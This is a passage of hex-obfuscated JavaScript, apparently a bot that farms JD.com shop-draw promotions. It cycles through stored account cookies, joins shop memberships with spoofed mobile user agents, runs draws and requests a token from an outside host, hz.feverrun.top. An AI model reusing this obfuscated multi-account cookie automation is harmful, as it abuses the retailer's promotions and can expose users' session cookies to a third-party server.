x66\x2C\x69\x6D\x61\x67\x65\x2F\x77\x65\x62\x70\x2C\x69\x6D\x61\x67\x65\x2F\x61\x70\x6E\x67\x2C\x69\x6D\x61\x67\x65\x2F\x74\x70\x67\x2C\x2A\x2F\x2A\x3B\x71\x3D\x30\x2E\x38\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x73\x69\x67\x6E\x65\x64\x2D\x65\x78\x63\x68\x61\x6E\x67\x65\x3B\x76\x3D\x62\x33\x3B\x71\x3D\x30\x2E\x39","\x63\x6F\x6D\x2E\x6A\x69\x6E\x67\x64\x6F\x6E\x67\x2E\x61\x70\x70\x2E\x6D\x61\x6C\x6C","\x20\x63\x6F\x6F\x6B\x69\x65\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\u6D3B\u52A8\u5DF2\u7ED3\u675F","\x67\x65\x74","\x72\x65\x61\x6C\x41\x63\x74\x69\x76\x69\x74\x79\x55\x52\x4C","\x73\x65\x74\x2D\x63\x6F\x6F\x6B\x69\x65","\x68\x65\x61\x64\x65\x72\x73","\x3B","\x3D","\x73\x70\x6C\x69\x74","\x73\x75\x62\x73\x74\x72","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B\x31\x33\x2E\x31\x2E\x32\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x69\x50\x68\x6F\x6E\x65\x38\x2C\x31\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x36\x37\x38\x31\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x31\x5F\x32\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x2D\x61\x70\x69\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x5F\x6E\x65\x77\x2F\x69\x6E\x66\x6F\x2F\x47\x65\x74\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x55\x6E\x69\x6F\x6E","\x6D\x65\x2D\x61\x70\x69\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x34\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x31\x34\x2E\x30\x2E\x32\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2F\x36\x30\x34\x2E\x31","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x6F\x6D\x65\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x4A\x64\x2F\x6E\x65\x77\x68\x6F\x6D\x65\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32\x26\x75\x66\x63\x3D\x26","\x72\x65\x74\x63\x6F\x64\x65","\x31\x30\x30\x31","\x30","\x75\x73\x65\x72\x49\x6E\x66\x6F","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x62\x61\x73\x65\x49\x6E\x66\x6F","\u4EAC\u4E1C\u8FD4\u56DE\u4E86\u7A7A\u6570\u636E","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x54\x6F\x6B\x65\x6E\x3F\x74\x79\x70\x65\x3D\x63\x6A\x68\x79","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x20\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x63\x6F\x64\x65","\x73\x68\x6F\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x2C\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3A","\x7B\x22\x76\x65\x6E\x64\x65\x72\x49\x64\x22\x3A\x22","\x22\x2C\x22\x62\x69\x6E\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6F\x64\x65\x46\x6C\x61\x67\x22\x3A\x31\x2C\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6E\x64\x22\x3A\x7B\x7D\x2C\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6C\x64\x46\x6C\x61\x67\x22\x3A\x30","\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x7D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x62\x69\x6E\x64\x57\x69\x74\x68\x56\x65\x6E\x64\x65\x72\x26\x62\x6F\x64\x79\x3D","\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x3B\x71\x3D\x30\x2E\x39\x2C\x65\x6E\x2D\x55\x53\x3B\x71\x3D\x30\x2E\x38\x2C\x65\x6E\x3B\x71\x3D\x30\x2E\x37","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x68\x6F\x70\x6D\x65\x6D\x62\x65\x72\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x74\x6F\x4F\x62\x6A","\x73\x75\x63\x63\x65\x73\x73","\x67\x69\x66\x74\x49\x6E\x66\x6F","\x67\x69\x66\x74\x4C\x69\x73\x74","\u5165\u4F1A\u83B7\u5F97\x3A","\x64\x69\x73\x63\x6F\x75\x6E\x74\x53\x74\x72\x69\x6E\x67","\x70\x72\x69\x7A\x65\x4E\x61\x6D\x65","\x73\x65\x63\x6F\x6E\x64\x4C\x69\x6E\x65\x44\x65\x73\x63","\x22\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x2C\x22\x70\x61\x79\x55\x70\x53\x68\x6F\x70\x22\x3A\x74\x72\x75\x65\x2C\x22\x71\x75\x65\x72\x79\x56\x65\x72\x73\x69\x6F\x6E\x22\x3A\x22\x31\x30\x2E\x35\x2E\x32\x22\x7D","\x79\x79\x79\x79\x4D\x4D\x64\x64\x68\x68\x6D\x6D\x73\x73\x53\x53\x53","\x6E\x6F\x77","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x37\x31\x34\x31\x31\x61\x39\x65\x31\x38\x6E\x38\x6A\x6D\x6D\x44\x4B\x48\x4D\x35\x71\x59\x32\x47\x51\x45\x48\x4E\x38\x4D\x45\x44\x6E\x78\x6E\x4D\x4E\x42\x56\x55\x47\x56\x49\x74\x52\x65\x65\x54\x33\x30\x46\x78\x41\x33\x4E\x49\x6F\x49\x6A\x71\x70\x57\x54\x37\x54\x65\x38\x62\x46\x33\x37\x46\x4A\x32\x57\x2B\x57\x7A\x69\x69\x78\x4C\x48\x68\x46\x30\x31\x3B\x33\x39\x32\x63\x66\x39\x62\x61\x64\x65\x34\x65\x31\x62\x30\x32\x65\x36\x66\x61\x38\x33\x63\x31\x64\x34\x37\x64\x37\x66\x31\x32\x34\x35\x65\x35\x61\x37\x61\x65\x39\x65\x62\x39\x32\x36\x34\x35\x31\x34\x32\x32\x37\x61\x64\x36\x66\x39\x33\x35\x64\x66\x39\x65\x3B\x33\x2E\x30\x3B","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x67\x65\x74\x53\x68\x6F\x70\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F\x26\x62\x6F\x64\x79\x3D","\u5165\u4F1A\x3A","\x76\x65\x6E\x64\x65\x72\x43\x61\x72\x64\x4E\x61\x6D\x65","\x73\x68\x6F\x70\x4D\x65\x6D\x62\x65\x72\x43\x61\x72\x64\x49\x6E\x66\x6F","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6C\x65\x4C\x69\x73\x74","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x49\x6E\x66\x6F","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x73\x6C\x69\x63\x65","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x39\x62\x63\x31\x62\x39\x38\x31\x38\x6E\x38\x75\x46\x68\x52\x38\x6B\x73\x33\x72\x79\x51\x57\x4D\x4F\x5A\x7A\x6A\x70\x44\x56\x43\x49\x4E\x4A\x4A\x48\x38\x61\x50\x30\x79\x32\x52\x57\x46\x4C\x69\x4A\x42\x6D\x4C\x6B\x33\x5A\x37\x6A\x39\x72\x68\x6D\x35\x63\x6A\x37\x44\x4E\x30\x77\x39\x6D\x49\x48\x65\x73\x71\x6F\x6D\x75\x30\x42\x34\x36\x68\x30\x68\x3B\x35\x61\x62\x35\x65\x66\x64\x35\x64\x63\x37\x63\x33\x64\x35\x32\x64\x64\x31\x39\x61\x38\x65\x61\x61\x62\x63\x37\x62\x63\x39\x39\x63\x31\x62\x39\x64\x62\x38\x30\x30\x61\x34\x32\x30\x38\x62\x61\x31\x31\x34\x32\x63\x38\x61\x37\x63\x37\x62\x66\x38\x35\x32\x65\x3B\x33\x2E\x30\x3B","\x3B\x31\x36\x39\x66\x31\x3B\x74\x6B\x30\x32\x77\x63\x30\x66\x39\x31\x63\x38\x61\x31\x38\x6E\x76\x57\x56\x4D\x47\x72\x51\x4F\x31\x69\x46\x6C\x70\x51\x72\x65\x32\x53\x68\x32\x6D\x47\x74\x4E\x72\x6F\x31\x6C\x30\x55\x70\x5A\x71\x47\x4C\x52\x62\x48\x69\x79\x71\x66\x61\x55\x51\x61\x50\x79\x36\x34\x57\x54\x37\x75\x7A\x37\x45\x2F\x67\x75\x6A\x47\x41\x42\x35\x30\x6B\x79\x4F\x37\x68\x77\x42\x79\x57\x4B\x3B\x37\x37\x63\x38\x61\x30\x35\x65\x36\x61\x36\x36\x66\x61\x65\x65\x64\x30\x30\x65\x34\x65\x32\x38\x30\x61\x64\x38\x63\x34\x30\x66\x61\x62\x36\x30\x37\x32\x33\x62\x35\x62\x35\x36\x31\x32\x33\x30\x33\x38\x30\x65\x62\x34\x30\x37\x65\x31\x39\x33\x35\x34\x66\x37\x3B\x33\x2E\x30\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x32\x36\x33\x31\x62\x66\x61\x31\x38\x6E\x68\x44\x34\x75\x62\x66\x33\x51\x66\x4E\x69\x55\x38\x45\x44\x32\x50\x49\x32\x37\x30\x79\x67\x73\x6E\x2B\x76\x61\x6D\x75\x42\x51\x68\x30\x6C\x56\x45\x36\x76\x37\x55\x41\x77\x63\x6B\x7A\x33\x73\x32\x4F\x74\x6C\x46\x45\x66\x74\x68\x35\x4C\x62\x51\x64\x57\x4F\x50\x4E\x76\x50\x45\x59\x48\x75\x55\x32\x54\x77\x3B\x30\x66\x33\x36\x64\x64\x64\x65\x66\x66\x33\x66\x38\x37\x38\x36\x36\x36\x33\x62\x35\x30\x62\x62\x33\x34\x36\x36\x35\x63\x34\x65\x39\x64\x36\x30\x38\x35\x39\x66\x38\x66\x62\x65\x38\x32\x32\x66\x62\x35\x35\x66\x64\x30\x32\x65\x64\x32\x65\x38\x34\x66\x64\x32\x3B\x33\x2E\x30\x3B","\x46\x6F\x72\x6D\x61\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x48\x6F\x75\x72\x73","\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73","\x67\x65\x74\x44\x61\x79","\x67\x65\x74\x4D\x69\x6C\x6C\x69\x73\x65\x63\x6F\x6E\x64\x73","\x74\x65\x73\x74","\x24\x31","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x63\x6F\x6E\x63\x61\x74","\x72\x65\x70\x6C\x61\x63\x65","\x29","\x28","\x53\x2B","\x30\x30\x30","\x30\x30","\x68\x72\x65\x66","\x28\x5E\x7C\x5B\x26\x3F\x5D\x29","\x3D\x28\x5B\x5E\x26\x5D\x2A\x29\x28\x26\x7C\x24\x29","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let cookiesArr=[],cookie=__Oxe8d96[0x0];let jd_cjhy_wxDrawActivity_Id=process[__Oxe8d96[0x2]][__Oxe8d96[0x1]]?process[__Oxe8d96[0x2]][__Oxe8d96[0x1]]:__Oxe8d96[0x0];let jd_cjhy_wxDrawActivity_num=parseInt(process[__Oxe8d96[0x2]][__Oxe8d96[0x3]])?parseInt(process[__Oxe8d96[0x2]][__Oxe8d96[0x3]]):10;let jd_wxDrawActivity_openCard=parseInt(process[__Oxe8d96[0x2]][__Oxe8d96[0x4]])?parseInt(process[__Oxe8d96[0x2]][__Oxe8d96[0x4]]):0;if($[__Oxe8d96[0x5]]()){Object[__Oxe8d96[0x8]](jdCookieNode)[__Oxe8d96[0x7]]((_0x101ax6)=>{cookiesArr[__Oxe8d96[0x6]](jdCookieNode[_0x101ax6])});if(process[__Oxe8d96[0x2]][__Oxe8d96[0x9]]&& process[__Oxe8d96[0x2]][__Oxe8d96[0x9]]=== __Oxe8d96[0xa]){console[__Oxe8d96[0xb]]= ()=>{}}}else {cookiesArr= [$[__Oxe8d96[0xe]](__Oxe8d96[0xd]),$[__Oxe8d96[0xe]](__Oxe8d96[0xf]),...jsonParse($[__Oxe8d96[0xe]](__Oxe8d96[0x12])|| __Oxe8d96[0x13])[__Oxe8d96[0x11]]((_0x101ax6)=>{return _0x101ax6[__Oxe8d96[0x10]]})][__Oxe8d96[0xc]]((_0x101ax6)=>{return !!_0x101ax6})};let allMessage=__Oxe8d96[0x0],message=__Oxe8d96[0x0];$[__Oxe8d96[0x14]]= false;$[__Oxe8d96[0x15]]= false;$[__Oxe8d96[0x16]]= false;let lz_jdpin_token_cookie=__Oxe8d96[0x0];let activityCookie=__Oxe8d96[0x0];let lz_cookie={};$[__Oxe8d96[0x17]]= [];$[__Oxe8d96[0x18]]= __Oxe8d96[0x0];!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe8d96[0x20]]($[__Oxe8d96[0x1d]],__Oxe8d96[0x1e],__Oxe8d96[0x1f],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe8d96[0x1f]});return};if(!jd_cjhy_wxDrawActivity_Id){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x21]}`);return};$[__Oxe8d96[0x22]]= jd_cjhy_wxDrawActivity_Id;$[__Oxe8d96[0x23]]= parseInt(Math[__Oxe8d96[0x24]]()* 888888+ 111111,10);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x25]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`);$[__Oxe8d96[0x26]]= `${__Oxe8d96[0x27]}${$[__Oxe8d96[0x23]]}${__Oxe8d96[0x28]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`;console[__Oxe8d96[0xb]](`${__Oxe8d96[0x29]}${$[__Oxe8d96[0x26]]}${__Oxe8d96[0x0]}`);for(let _0x101axd=0;_0x101axd< cookiesArr[__Oxe8d96[0x2a]];_0x101axd++){cookie= cookiesArr[_0x101axd];originCookie= cookiesArr[_0x101axd];if(cookie){$[__Oxe8d96[0x2b]]= decodeURIComponent(cookie[__Oxe8d96[0x2c]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe8d96[0x2c]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe8d96[0x2d]]= _0x101axd+ 1;message= __Oxe8d96[0x0];$[__Oxe8d96[0x2e]]= 0;$[__Oxe8d96[0x14]]= false;$[__Oxe8d96[0x2f]]= __Oxe8d96[0x0];$[__Oxe8d96[0x30]]= true; await checkCookie();console[__Oxe8d96[0xb]](`${__Oxe8d96[0x31]}${$[__Oxe8d96[0x2d]]}${__Oxe8d96[0x32]}${$[__Oxe8d96[0x2f]]|| $[__Oxe8d96[0x2b]]}${__Oxe8d96[0x33]}`);if(!$[__Oxe8d96[0x30]]){$[__Oxe8d96[0x20]]($[__Oxe8d96[0x1d]],`${__Oxe8d96[0x34]}`,`${__Oxe8d96[0x35]}${$[__Oxe8d96[0x2d]]}${__Oxe8d96[0x36]}${$[__Oxe8d96[0x2f]]|| $[__Oxe8d96[0x2b]]}${__Oxe8d96[0x37]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe8d96[0x38]});if($[__Oxe8d96[0x5]]()){};continue}; await getUA();try{ await run()}catch(e){console[__Oxe8d96[0xb]](e)};if($[__Oxe8d96[0x2d]]>= jd_cjhy_wxDrawActivity_num){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x39]}${jd_cjhy_wxDrawActivity_num}${__Oxe8d96[0x3a]}`);break};if($[__Oxe8d96[0x15]]|| $[__Oxe8d96[0x16]]){break}}};if($[__Oxe8d96[0x15]]){let _0x101axe=__Oxe8d96[0x3b];$[__Oxe8d96[0x20]]($[__Oxe8d96[0x1d]],`${__Oxe8d96[0x0]}`,`${__Oxe8d96[0x0]}${_0x101axe}${__Oxe8d96[0x0]}`);if($[__Oxe8d96[0x5]]()){ await notify[__Oxe8d96[0x3c]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x1d]]}${__Oxe8d96[0x0]}`,`${__Oxe8d96[0x0]}${_0x101axe}${__Oxe8d96[0x0]}`)}};if(allMessage){allMessage+= __Oxe8d96[0x29]+ $[__Oxe8d96[0x26]]+ __Oxe8d96[0x3d];$[__Oxe8d96[0x20]]($[__Oxe8d96[0x1d]],`${__Oxe8d96[0x0]}`,`${__Oxe8d96[0x0]}${allMessage}${__Oxe8d96[0x0]}`);if($[__Oxe8d96[0x5]]()){ await notify[__Oxe8d96[0x3c]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x1d]]}${__Oxe8d96[0x0]}`,`${__Oxe8d96[0x0]}${allMessage}${__Oxe8d96[0x0]}`)}}})()[__Oxe8d96[0x1c]]((_0x101axc)=>{return $[__Oxe8d96[0x1b]](_0x101axc)})[__Oxe8d96[0x1a]](()=>{return $[__Oxe8d96[0x19]]()});async function run(){try{lz_jdpin_token_cookie= __Oxe8d96[0x0];$[__Oxe8d96[0x3e]]= __Oxe8d96[0x0];$[__Oxe8d96[0x3f]]= __Oxe8d96[0x0];$[__Oxe8d96[0x16]]= false;let _0x101ax10=false; await takePostRequest(__Oxe8d96[0x40]);if($[__Oxe8d96[0x3e]]== __Oxe8d96[0x0]){console[__Oxe8d96[0xb]](__Oxe8d96[0x41]);return}; await getCk();if($[__Oxe8d96[0x16]]== true){return};if(activityCookie== __Oxe8d96[0x0]){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x42]}`);return}; await takePostRequest(__Oxe8d96[0x43]); await takePostRequest(__Oxe8d96[0x44]);if(!$[__Oxe8d96[0x3f]]){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x45]}`);return}; await takePostRequest(__Oxe8d96[0x46]);if($[__Oxe8d96[0x2d]]== 1){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x47]}${$[__Oxe8d96[0x48]]}${__Oxe8d96[0x0]}`);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x49]}${$[__Oxe8d96[0x17]]}${__Oxe8d96[0x0]}`)};console[__Oxe8d96[0xb]](`${__Oxe8d96[0x4a]}${$[__Oxe8d96[0x4b]]}${__Oxe8d96[0x0]}`);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x4c]}${$[__Oxe8d96[0x4d]]}${__Oxe8d96[0x0]}`); await takePostRequest(__Oxe8d96[0x4e]);if($[__Oxe8d96[0x2d]]== 1){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x0]}${$[__Oxe8d96[0x4f]]}${__Oxe8d96[0x0]}`)}; await takePostRequest(__Oxe8d96[0x50]);if($[__Oxe8d96[0x51]]== __Oxe8d96[0x52]){ await takePostRequest(__Oxe8d96[0x53]);console[__Oxe8d96[0xb]](`${__Oxe8d96[0x54]}${$[__Oxe8d96[0x55]]}${__Oxe8d96[0x0]}`)}; await takePostRequest(__Oxe8d96[0x56]); await takePostRequest(__Oxe8d96[0x57]); await takePostRequest(__Oxe8d96[0x58]); await takePostRequest(__Oxe8d96[0x59]);if($[__Oxe8d96[0x5a]]== false){if(jd_wxDrawActivity_openCard== 1){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x5b]}${$[__Oxe8d96[0x5c]]}${__Oxe8d96[0x0]}`);_0x101ax10= true;$[__Oxe8d96[0x5d]]= $[__Oxe8d96[0x5c]]; await joinShop();if($[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x5e])> -1|| $[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x61])> -1){console[__Oxe8d96[0xb]](__Oxe8d96[0x62]); await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 700+ 700,10)); await joinShop()};if($[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x5e])> -1|| $[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x61])> -1){console[__Oxe8d96[0xb]](__Oxe8d96[0x64]); await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 800+ 800,10)); await joinShop()};if($[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x5e])> -1|| $[__Oxe8d96[0x60]][__Oxe8d96[0x5f]](__Oxe8d96[0x61])> -1){console[__Oxe8d96[0xb]](__Oxe8d96[0x65]); await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 900+ 900,10)); await joinShop()}}else {console[__Oxe8d96[0xb]](`${__Oxe8d96[0x66]}`);return}}else {console[__Oxe8d96[0xb]](`${__Oxe8d96[0x67]}${$[__Oxe8d96[0x5c]]}${__Oxe8d96[0x0]}`)};if(_0x101ax10){ await takePostRequest(__Oxe8d96[0x46])};if($[__Oxe8d96[0x4b]]< 1){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x68]}`);return};if($[__Oxe8d96[0x4b]]>= 1){ await takePostRequest(__Oxe8d96[0x69]);for(let _0x101ax11=0;_0x101ax11< $[__Oxe8d96[0x4b]];_0x101ax11++){console[__Oxe8d96[0xb]](`${__Oxe8d96[0x6a]}${_0x101ax11+ 1}${__Oxe8d96[0x6b]}`); await takePostRequest(__Oxe8d96[0x6c]); await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 1000+ 500));if($[__Oxe8d96[0x51]]== __Oxe8d96[0x6d]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6e]){ await takePostRequest(__Oxe8d96[0x6f])}}}; await $[__Oxe8d96[0x63]](parseInt(Math[__Oxe8d96[0x24]]()* 1500+ 1000,10))}catch(e){console[__Oxe8d96[0xb]](e)}}async function takePostRequest(_0x101ax13){if($[__Oxe8d96[0x15]]){return};let _0x101ax14=__Oxe8d96[0x70];let _0x101ax15=`${__Oxe8d96[0x0]}`;let _0x101ax16=__Oxe8d96[0x71];let _0x101ax17=__Oxe8d96[0x0];switch(_0x101ax13){case __Oxe8d96[0x40]:url= `${__Oxe8d96[0x72]}`;_0x101ax15= await getToken();break;case __Oxe8d96[0x43]:url= `${__Oxe8d96[0x73]}`;_0x101ax15= `${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x44]:url= `${__Oxe8d96[0x75]}`;_0x101ax15= `${__Oxe8d96[0x76]}${$[__Oxe8d96[0x5c]]}${__Oxe8d96[0x77]}${$[__Oxe8d96[0x3e]]}${__Oxe8d96[0x78]}`;break;case __Oxe8d96[0x46]:if($[__Oxe8d96[0x51]]== __Oxe8d96[0x52]){url= `${__Oxe8d96[0x79]}`}else {if($[__Oxe8d96[0x51]]== __Oxe8d96[0x7a]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6d]|| $[__Oxe8d96[0x51]]== __Oxe8d96[0x6e]){url= __Oxe8d96[0x7b]}else {url= __Oxe8d96[0x7b]}};_0x101ax15= `${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x7c]}${encodeURIComponent(encodeURIComponent($.Pin))}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x4e]:url= `${__Oxe8d96[0x7d]}`;_0x101ax15= `${__Oxe8d96[0x74]}${$[__Oxe8d96[0x22]]}${__Oxe8d96[0x0]}`;break;case __Oxe8d96[0x50]:url= `${__Oxe8d96[0x7e]}`;_0x101ax15= 